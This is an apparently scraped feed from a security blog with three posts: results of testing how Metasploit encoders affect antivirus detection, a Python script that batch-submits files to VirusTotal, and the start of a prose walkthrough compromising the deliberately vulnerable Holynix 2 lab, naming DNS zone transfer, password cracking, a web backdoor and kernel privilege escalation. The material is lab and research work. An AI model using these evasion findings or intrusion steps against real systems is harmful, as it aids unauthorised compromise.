auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xZlz6PzSTtI/TpG1xoM0piI/AAAAAAAAAUI/vN1En2orbEI/s1600/Graph-When+Encoders+Where+Higher+Than+generic-none.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/-xZlz6PzSTtI/TpG1xoM0piI/AAAAAAAAAUI/vN1En2orbEI/s320/Graph-When+Encoders+Where+Higher+Than+generic-none.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 10 - When Encoders Where Higher Than "generic/none"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Summary&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wasn't able to use every template&lt;span style="color: #38761d;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: #38761d;"&gt;write.exe (wordpad) - failed every time.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Wasn't able to use every encoder, every time. &lt;/li&gt;&lt;ul&gt;&lt;li style="color: #38761d;"&gt;At 25 iterations - x86/alpha_mixed &amp;amp; x86/alpha_uppert stop working&lt;/li&gt;&lt;li style="color: #38761d;"&gt;At 100 iterations - php/base64 also stop working&lt;/li&gt;&lt;li&gt;&lt;span style="color: #38761d;"&gt;x86/single_static_bit was also unable to complete a couple of times,&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;How do different encoders compare? &lt;span style="color: #38761d;"&gt;Some are better than others; general use or for specific options&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Is there a relationship with increasing the encoded amount of time, does it get detected less? &lt;span style="color: #38761d;"&gt;No.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;By switching the payload, will this have an affect? &lt;span style="color: #38761d;"&gt;Minor difference.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;If a different template was used, would it still detect the same amount of times? &lt;span style="color: #38761d;"&gt;Minor difference.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Does encoding make the file become detected more than if it wasn't encoded at all? &lt;span style="color: #38761d;"&gt;Yes, it can do!&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Will the payload's operating system matter? &lt;span style="color: #38761d;"&gt;Yes. Encoding didn't have a difference of Linux or OSX systems&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Which Anti Virus product was able to detect the most (and the least) amount? &lt;span style="color: #38761d;"&gt;GData &amp;amp;ViRobot respectively &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;br /&gt;To take this further...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;What happens if the default values for the encoders were altered?&lt;/li&gt;&lt;li&gt;What happens if multiple encoders were linked together to create a single output? &lt;/li&gt;&lt;/ul&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 396px;"&gt; &lt;colgroup&gt;&lt;col style="mso-width-alt: 8106; mso-width-source: userset; width: 190pt;" width="190"&gt;&lt;/col&gt; &lt;col style="mso-width-alt: 8789; mso-width-source: userset; width: 206pt;" width="206"&gt;&lt;/col&gt; &lt;/colgroup&gt;&lt;tbody&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-6928316610344444704?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/6928316610344444704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/analysis-encoding-files.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6928316610344444704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6928316610344444704'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/analysis-encoding-files.html' title='[Analysis] Encoding Files'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-1HHE5durDLc/TpG3mxhSNlI/AAAAAAAAAWc/lFDQHrSiHgs/s72-c/Summary.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-921449448412878372</id><published>2011-10-09T18:07:00.000+01:00</published><updated>2011-10-09T18:37:47.078+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BMMVTU'/><category scheme='http://www.blogger.com/atom/ns#' term='Scripts'/><title type='text'>[Script] BMMVTU.py - Batch/Mass/Multiple VirusTotal.com Uploader</title><content type='html'>&lt;b&gt;&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Download &lt;span style="font-style: italic;"&gt;(bmmvtu.py)&lt;/span&gt;: &lt;a href="http://www.mediafire.com/?de2c7tdtdkzdz2d"&gt;http://www.mediafire.com/?de2c7tdtdkzdz2d&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;What is this?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;A python script automate uploading files &amp;amp; getting the results from VirusTotal.com with their API system.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;How do I use it? &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The first thing is to sign up to VirusTotal.com and collect your unique API key.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Afterwords edit the script (line 14) with your API key.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Make sure you have &lt;a href="http://www.python.org/"&gt;Python 2.6+&lt;/a&gt; &amp;amp; &lt;a href="http://pypi.python.org/pypi/simplejson/"&gt;simplejson&lt;/a&gt; installed.&lt;/li&gt;&lt;li&gt;Run (See examples)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Screenshot&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-1HjmEQamnuI/TpHUN8v52NI/AAAAAAAAAXg/7kY1KlyoeCw/s1600/bmmvtu.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="232" src="http://2.bp.blogspot.com/-1HjmEQamnuI/TpHUN8v52NI/AAAAAAAAAXg/7kY1KlyoeCw/s640/bmmvtu.png" width="640" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Examples&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;python bmmvtu.py&lt;br /&gt;python bmmvtu.py --output report.csv evil1.exe evil2.exe evil3.exe&lt;br /&gt;python bmmvtu.py -o report.txt files/*&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Code&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;#!/usr/bin/python&lt;br /&gt;#----------------------------------------------------------------------#&lt;br /&gt;# Batch/Mass/Multiple VirusTotal.com Uploader (BMMVTU.py) v0.1 (2011-09-30)&lt;br /&gt;#---Important----------------------------------------------------------#&lt;br /&gt;# Python 2.6+ &amp;amp; simplejson needs to be installed before hand           #&lt;br /&gt;# Left a few debug commands &amp;amp; incomplete features in comments          #&lt;br /&gt;#                                                                      #&lt;br /&gt;#         *** Do NOT use this for illegal or malicious use ***         #&lt;br /&gt;#             YOU are using this script at YOUR OWN RISK.              #&lt;br /&gt;#This software is provided "as is" WITHOUT ANY guarantees OR warranty. #&lt;br /&gt;#----------------------------------------------------------------------#&lt;br /&gt;import getopt,hashlib,httplib,itertools,mimetypes,os,pprint,simplejson,sys,time,urlparse&lt;br /&gt;#-----------------------------------------------------------------------&lt;br /&gt;key = ""   # Make sure to set this to your VirusTotal.com public API key.&lt;br /&gt;sleepTime = 30                                                             # VirusTotal.com only allows 20 requests every 5 miniutes.&lt;br /&gt;retry = 3                                                                  # The number of times to retry when something fails/Times to wait in the queue.&lt;br /&gt;separator = "\t"                                                           # "," is commonly used for CSV files. TAB (\t) works well for pasting into spreadsheets.&lt;br /&gt;#-----------------------------------------------------------------------&lt;br /&gt;# Is it a valid file (Is it a file &amp;amp; its size)&lt;br /&gt;def check_file(filename):&lt;br /&gt;   if not os.path.isfile(filename):&lt;br /&gt;      print "[-] Error: '%s' is not a valid file" % filename&lt;br /&gt;      fout.write("Error!" + separator + "not a valid file" + separator + filename + "\n")&lt;br /&gt;      return False&lt;br /&gt;&lt;br /&gt;   filesize = os.path.getsize(filename)&lt;br /&gt;   if filesize &amp;lt; 1 or filesize &amp;gt; 20971519:&lt;br /&gt;      print "[-] Error: Filesize (%s bytes)" % filesize&lt;br /&gt;      fout.write("Error!" + separator + "Filesize is wrong" + separator + filename + "\n")&lt;br /&gt;      return False&lt;br /&gt;   return True&lt;br /&gt;&lt;br /&gt;# Get the results from VirusTotal.com&lt;br /&gt;def get_report(resource):&lt;br /&gt;   json = post_multipart("https://www.virustotal.com/api/get_file_report.json", {'resource':resource, 'key':key})&lt;br /&gt;   return simplejson.loads(json)&lt;br /&gt;&lt;br /&gt;# Checks the server response for the API (blocked or wrong key)&lt;br /&gt;def result_status(result,resource):&lt;br /&gt;   while result == -2:                                                     # Exceeded the public API request rate&lt;br /&gt;      print "[-] Error: Exceeded the public API request rate (Waiting 60 second)"&lt;br /&gt;      time.sleep(60)                                                       # Wait a bit before re-trying&lt;br /&gt;      data = get_report(resource)                                          # Check to see if MD5 is in the database&lt;br /&gt;      result = data['result']&lt;br /&gt;&lt;br /&gt;   if result == -1:                                                        # API key provided is incorrect&lt;br /&gt;      print "[-] Error: The API key provided is incorrect"&lt;br /&gt;      help()&lt;br /&gt;      sys.exit(1)                                                          # Quit, because we can't go further&lt;br /&gt;   return&lt;br /&gt;&lt;br /&gt;# Request the file to VirusTotal.com&lt;br /&gt;def send_file(filename):&lt;br /&gt;   files = [('file', filename, open(filename, 'rb').read())]&lt;br /&gt;   json = post_multipart("https://www.virustotal.com/api/scan_file.json", {'key':key}, files)&lt;br /&gt;   return simplejson.loads(json)&lt;br /&gt;&lt;br /&gt;# The magic/behind the scene stuff/Under the bonnet&lt;br /&gt;def do_files(filenames):&lt;br /&gt;   numFiles = len(filenames)&lt;br /&gt;   count = 0&lt;br /&gt;   for filename in filenames:                                              # Do every file&lt;br /&gt;      try:                                                                 # Keep going even if we get an error&lt;br /&gt;         count += 1&lt;br /&gt;         print "[&amp;gt;] Scanning %s/%s (%s)" % (str(count),str(numFiles),filename)&lt;br /&gt;&lt;br /&gt;         if check_file(filename) != True:&lt;br /&gt;            continue&lt;br /&gt;&lt;br /&gt;         md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()     # Find the file's MD5 value&lt;br /&gt;         data = get_report(md5sum)                                         # Check to see if MD5 is in the database&lt;br /&gt;         result_status(data['result'],md5sum)                              # Check server response&lt;br /&gt;         if data['result'] != 1:                                           # Not known to VirusTotal.com&lt;br /&gt;            for _ in itertools.repeat(None, retry):                        # Try xxx times to upload&lt;br /&gt;               print "[&amp;gt;] File not found. Submitting (%s)" % filename&lt;br /&gt;               data = send_file(filename)                                  # Send the file to be scanned&lt;br /&gt;               if data['result'] == 1:                                     # Have we successfully uploaded it?&lt;br /&gt;                  break                                                    # Yes!&lt;br /&gt;               else:                                                       # No!   Other? Fallback/Safey net&lt;br /&gt;                  print "[-] Error: Submit failed (%s)" % filename   # + str(pprint.pprint(data))&lt;br /&gt;                  time.sleep(sleepTime)                                    # Wait a bit before re-trying&lt;br /&gt;&lt;br /&gt;            if data['result'] != 1:                                        # Result != 1 if upload wasn't successful&lt;br /&gt;               print "[-] Failed: Didn't submit (%s)" % filename&lt;br /&gt;               fout.write("Failed!" + separator + "Didn't submit" + separator + filename + "\n")&lt;br /&gt;               continue                                                    # Move on to the next file&lt;br /&gt;&lt;br /&gt;            for _ in itertools.repeat(None, retry):                        # Try xxx times to check&lt;br /&gt;               for o in data:                                              # Read all the JSON objects&lt;br /&gt;                  if o == "report":                                        # Does VirusTotal.com have a report..&lt;br /&gt;                     break                                                 # ...Yes! So quit&lt;br /&gt;                  elif o == "scan_id":                                     # ...No. Still scanning&lt;br /&gt;                     scan_id = data['scan_id']                             # Use the new scan ID value, rather than the MD5&lt;br /&gt;                     print "[&amp;gt;] Waiting 60 seconds for VirusTotal.com to finish scanning (%s)" % scan_id&lt;br /&gt;                     time.sleep(60)                                        # Wait a bit before re-trying&lt;br /&gt;                  elif data['result'] == 0:                                # ...No. Does VirusTotal.com know of it yet?&lt;br /&gt;                     print "[&amp;gt;] Waiting in the queue"&lt;br /&gt;                     time.sleep(sleepTime)                                 # Wait a bit before re-trying&lt;br /&gt;               data = get_report(scan_id)                                  # Check to see if MD5 is in the database&lt;br /&gt;               result_status(data['result'],scan_id)                       # Check server response&lt;br /&gt;&lt;br /&gt;            if data['result'] != 1:                                        # Result != 1 if upload wasn't successful&lt;br /&gt;               print "[-] Failed: VirusTotal.com is still scanning or a large queue. Try again later or increase 'retry' (%s)" % filename&lt;br /&gt;               fout.write("Failed!" + separator + "still scanning or a large queue" + separator + filename + "\n")&lt;br /&gt;               #retry_files.append(scan_id)&lt;br /&gt;               continue&lt;br /&gt;&lt;br /&gt;         if count &amp;lt; numFiles:                                              # If we are not using the last file....&lt;br /&gt;            time.sleep(sleepTime)                                          # Sleep between requests so as not to overload VirusTotal.com&lt;br /&gt;&lt;br /&gt;         report = data['report']&lt;br /&gt;         permalink = data['permalink']&lt;br /&gt;         #scan_id = permalink.split('=')[1]&lt;br /&gt;&lt;br /&gt;         timeStamp = report[0]&lt;br /&gt;         reportEntries = report[1]&lt;br /&gt;         numEntries = len(reportEntries)&lt;br /&gt;&lt;br /&gt;         numDetects = 0&lt;br /&gt;         entryValues = dict.values(reportEntries)&lt;br /&gt;         for v in entryValues:&lt;br /&gt;            if v != u'':&lt;br /&gt;               numDetects += 1&lt;br /&gt;&lt;br /&gt;         output_string = md5sum + separator + timeStamp + separator + filename + separator + str(numEntries) + separator +str(numDetects) + separator&lt;br /&gt;         for k,v in sorted(reportEntries.iteritems()):&lt;br /&gt;            k = k.encode("ascii")&lt;br /&gt;            v = v.encode("ascii")&lt;br /&gt;            if v == "":&lt;br /&gt;               v = "-"&lt;br /&gt;            output_string += k + separator + v + separator&lt;br /&gt;&lt;br /&gt;         output_string += permalink&lt;br /&gt;&lt;br /&gt;         fout.write(output_string + "\n")&lt;br /&gt;         #pprint.pprint(data['report'])&lt;br /&gt;&lt;br /&gt;      except Exception as e:&lt;br /&gt;         print "[-] Error [1]: ", e&lt;br /&gt;         fout.write("Error!" + separator + str(e) + separator + filename + "\n")&lt;br /&gt;&lt;br /&gt;# Perform an HTTP POST request&lt;br /&gt;def post_multipart(url, fields, files=()):&lt;br /&gt;   content_type, data = encode_multipart_formdata(fields, files)&lt;br /&gt;   url_parts = urlparse.urlparse(url)&lt;br /&gt;   if url_parts.scheme == 'http':&lt;br /&gt;      h = httplib.HTTPConnection(url_parts.netloc)&lt;br /&gt;   elif url_parts.scheme == 'https':&lt;br /&gt;      h = httplib.HTTPSConnection(url_parts.netloc)&lt;br /&gt;   path = urlparse.urlunparse(('', '') + url_parts[2:])&lt;br /&gt;   h.request('POST', path, data, {'content-type':content_type})&lt;br /&gt;   return h.getresponse().read()&lt;br /&gt;&lt;br /&gt;# Encoding the request&lt;br /&gt;def encode_multipart_formdata(fields, files=()):&lt;br /&gt;   BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'&lt;br /&gt;   CRLF = '\r\n'&lt;br /&gt;   L = []&lt;br /&gt;   for key, value in fields.items():&lt;br /&gt;      L.append('--' + BOUNDARY)&lt;br /&gt;      L.append('Content-Disposition: form-data; name="%s"' % key)&lt;br /&gt;      L.append('')&lt;br /&gt;      L.append(value)&lt;br /&gt;   for (key, filename, value) in files:&lt;br /&gt;      L.append('--' + BOUNDARY)&lt;br /&gt;      L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))&lt;br /&gt;      content_type = mimetypes.guess_type(filename)[0] or "application/octet-stream"&lt;br /&gt;      L.append('Content-Type: %s' % content_type)&lt;br /&gt;      L.append('')&lt;br /&gt;      L.append(value)&lt;br /&gt;   L.append('--' + BOUNDARY + '--')&lt;br /&gt;   L.append('')&lt;br /&gt;   body = CRLF.join(L)&lt;br /&gt;   content_type = 'multipart/form-data; boundary=%s' % BOUNDARY&lt;br /&gt;   return content_type, body&lt;br /&gt;&lt;br /&gt;# Help screen&lt;br /&gt;def help():&lt;br /&gt;   print "\n\nAbout:"&lt;br /&gt;   print "  This is a Python script which makes use of VirusTotal.com's public API, to automate scanning multiple files."&lt;br /&gt;   print "  To use this you will need a \"API key\" from VirusTotal.com (Free signup).\n\n"&lt;br /&gt;   print "bmmvtu.py --output &lt;outputfile&gt; &lt;evil1 evil2="" evil3...=""&gt;\n"&lt;br /&gt;   print "Arguments:"&lt;br /&gt;   print "  -o --output      Path of the file to write output to"&lt;br /&gt;   print "  -h --help        Prints this help message\n\n"&lt;br /&gt;   print "Example:"&lt;br /&gt;   print "  bmmvtu.py -o results.csv evil1.exe evil2.exe"&lt;br /&gt;   print "  bmmvtu.py --output results.txt folder/*\n"&lt;br /&gt;#-----------------------------------------------------------------------&lt;br /&gt;print "[*] Batch/Mass/Multiple VirusTotal.com Uploader (BMMVTU) v0.1 (2011-09-30)"&lt;br /&gt;&lt;br /&gt;# Process arguments&lt;br /&gt;opts, args = getopt.getopt(sys.argv[1:], "o:h", ["output=", "help"])&lt;br /&gt;for o, a in opts:&lt;br /&gt;   if o in ('-o', '--output'):&lt;br /&gt;      outputFileName = a&lt;br /&gt;   elif o in ('-h', '--help'):&lt;br /&gt;      help()&lt;br /&gt;      sys.exit(1)&lt;br /&gt;   else:&lt;br /&gt;      pass&lt;br /&gt;&lt;br /&gt;# Check for valid number of arguments&lt;br /&gt;if len(sys.argv) &amp;lt; 4:&lt;br /&gt;   print "[-] Error: Invalid number of arguments"&lt;br /&gt;   help()&lt;br /&gt;   sys.exit(1)&lt;br /&gt;&lt;br /&gt;# Check for API key&lt;br /&gt;if len(key) != 64:&lt;br /&gt;   print "[-] Error: Please provide a valid API key"&lt;br /&gt;   help()&lt;br /&gt;   sys.exit(1)&lt;br /&gt;&lt;br /&gt;# Check the wait time&lt;br /&gt;if sleepTime &amp;lt; 15:&lt;br /&gt;   print "[!] Warning: Its recommended to wait at least 15 seconds between requests"&lt;br /&gt;&lt;br /&gt;   if len(args) &amp;gt; 20:&lt;br /&gt;      print "[!] Warning: You will quickly max out your API request rate"&lt;br /&gt;&lt;br /&gt;try:&lt;br /&gt;   fout = open(outputFileName, "w")&lt;br /&gt;   fout.write("md5sum" + separator + "timeStamp" + separator + "filename" + separator + "NumberOfAVs" + separator + "NumberOfDetects" + separator + ("&lt;av&gt;" + separator + "&lt;result&gt; " + separator)* 44 + "permalink\n")&lt;br /&gt;&lt;br /&gt;   #retry_files = list()                                                    # Retry these files (e.g. still waiting to be scanned)&lt;br /&gt;   do_files(args)&lt;br /&gt;   #do_files(retry_files)&lt;br /&gt;&lt;br /&gt;   fout.close()&lt;br /&gt;&lt;br /&gt;except Exception as e:&lt;br /&gt;   print "[-] Error [0]: ", e&lt;br /&gt;&lt;br /&gt;print "[*] Done!"&lt;br /&gt;&lt;/result&gt;&lt;/av&gt;&lt;/evil1&gt;&lt;/outputfile&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;References&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="https://www.virustotal.com/advanced.html#publicapi"&gt;https://www.virustotal.com/advanced.html#publicapi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-921449448412878372?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/921449448412878372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/script-bmmvtupy-batchmassmultiple.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/921449448412878372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/921449448412878372'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/10/script-bmmvtupy-batchmassmultiple.html' title='[Script] BMMVTU.py - Batch/Mass/Multiple VirusTotal.com Uploader'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-1HjmEQamnuI/TpHUN8v52NI/AAAAAAAAAXg/7kY1KlyoeCw/s72-c/bmmvtu.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-7200181253466243426</id><published>2011-08-24T19:50:00.006+01:00</published><updated>2011-08-25T16:29:29.177+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='Holynix'/><title type='text'>[Video] Holynix - Level 2</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line:&amp;nbsp; &lt;a href="http://blip.tv/g0tmi1k/holynix-level-2-5494348"&gt;http://blip.tv/g0tmi1k/holynix-level-2-5494348&lt;/a&gt;&lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;&lt;/a&gt;&lt;br /&gt;Download video: &lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;http://www.mediafire.com/?70m714m55v4c6df&lt;/a&gt;&lt;a href="http://blip.tv/g0tmi1k/holynix-level-2-5494348"&gt;&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgs%2BtMAA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFgs+tMAA" src="http://a.blip.tv/api.swf#hdkFgs+tMAA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview &lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/Holynix"&gt;Holynix&lt;/a&gt; is a series of operating systems with purposely designed weakness(es) left inside. The aim of them is to go from "&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;"; the user has to try and get a shell with the highest user privilege they can reach.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method &lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the target (Netdiscover)&lt;/li&gt;&lt;li&gt;&lt;i&gt;Configured IP address (192.168.1.0/24) &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Port scanned the target (unicornscan)&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the  open ports (nmap) &lt;/li&gt;&lt;li&gt;Added the target's IP to the host file &amp;amp; Re-configured DNS settings&lt;/li&gt;&lt;li&gt;Successfully replicated the DNS databases (Zone Transfer)&lt;/li&gt;&lt;li&gt;Successfully brute forced web server directories (DirBuster)&lt;/li&gt;&lt;li&gt;Detected &amp;amp; exploited outdated software (phpMyAdmin)&lt;/li&gt;&lt;li&gt;Discovered an internal document (DirBuster)&lt;/li&gt;&lt;li&gt;Cracked FTP passwords (John The Ripper)&lt;/li&gt;&lt;li&gt;Uploaded a web backdoor (Metasploit)&lt;/li&gt;&lt;li&gt;Escalated privileges via a vulnerable kernel version&lt;/li&gt;&lt;li&gt;&lt;i&gt;Located MySQL database details&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need? &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/projects/holynix/files/2.0/"&gt;kolynix-v2.tar.bz2&lt;/a&gt; &lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: 2B91038DE5C5150BFC48AA39C84E7E71) &lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="font-size: xx-small;"&gt;&lt;/span&gt;&lt;/i&gt;– &lt;i&gt;(&lt;a href="http://pynstrom.net/holynix.php"&gt;Homepage&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine &lt;i&gt;(Example: &lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt; or &lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nixgeneration.com/%7Ejaime/netdiscover/"&gt;Netdiscover&lt;/a&gt; – &lt;i&gt;(Can be found on &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;Nmap&lt;/a&gt; – &lt;i&gt;(Can be found on &lt;/i&gt;&lt;i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.unicornscan.org/"&gt;Unicornscan&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;DirBuster&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://exploit-db.com/"&gt;Exploit-DB&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.openwall.com/john/"&gt;John The Ripper&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough &lt;/div&gt;To begin, the attacker needed to locate the target. This was accomplished by using "netdiscover", as it was able to scan for hosts on multiple IP ranges quickly. The output from the scan had the target on a different IP range from the DHCP server's pool, meaning the target had a static IP address. The IP address, MAC address and vendor was now known to the attacker and they updated their IP address to fit inside the same IP range as the target.&lt;br /&gt;&lt;br /&gt;Once the attacker was in the same subnet as the target, the attacker completed a full port scan of both TCP &amp;amp; UDP on the target by using "unicornscan". When the scan had finished, the results showed that the target had four TCP ports open: 21, 22, 53 &amp;amp; 80, as well as one UDP port, 53.&lt;br /&gt;&lt;br /&gt;Afterwards, the attacker wanted to know what services were being used on these ports. By using "nmap" to banner grab the services, the protocols and services (and possible versions) were able to be identified, along with finger printing the operating system which was being used. The outcome of the scan revealed that the services being used matched up to their default protocol ports; ftp, ssh, dns and web services.&lt;br /&gt;&lt;br /&gt;The attacker then proceeded by interacting with the target's web server, and by doing so, they were able to find some useful information; the domain name, name servers and each user had their own sub-domain. The attacker updates their system to reflect the newly discovered information by replacing the DNS server to point to the target.&lt;br /&gt;&lt;br /&gt;The attacker then sets out to produce a list of possible usernames via the sub-domain by using DNS enumeration. By using "dig" the attacker was able to gather details about the domain, zincftp.com. This revealed that there were two DNS servers; the primary server was pointed to itself, the secondary server had an IP address increased by one of the primary servers. From the earlier nmap scan, the 